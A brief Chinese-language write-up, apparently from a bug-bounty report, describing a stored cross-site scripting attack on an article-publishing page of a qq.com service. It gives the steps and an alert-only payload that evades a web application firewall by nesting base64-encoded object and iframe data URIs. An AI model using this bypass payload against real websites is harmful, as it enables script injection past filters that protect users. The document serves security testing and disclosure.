先正常注册



写一篇文章，直接发布抓包

我们将content参数内容替换成我们绕waf的poc

<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>



url: [https://xxxxxxxx.qq.com/spread/previewArticle?articleId=8fAhfdFYUlc%3D](https://teamvision.qq.com/spread/previewArticle?articleId=8fAhfdFYUlc%3D)



绕过思路：

通过bypass+bypass绕过

也就是对object进行base64输出

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneXVlcWl1Jyk8L3NjcmlwdD4=></object>然后在吧Object标签转换成base64放到iframe进行base64输出

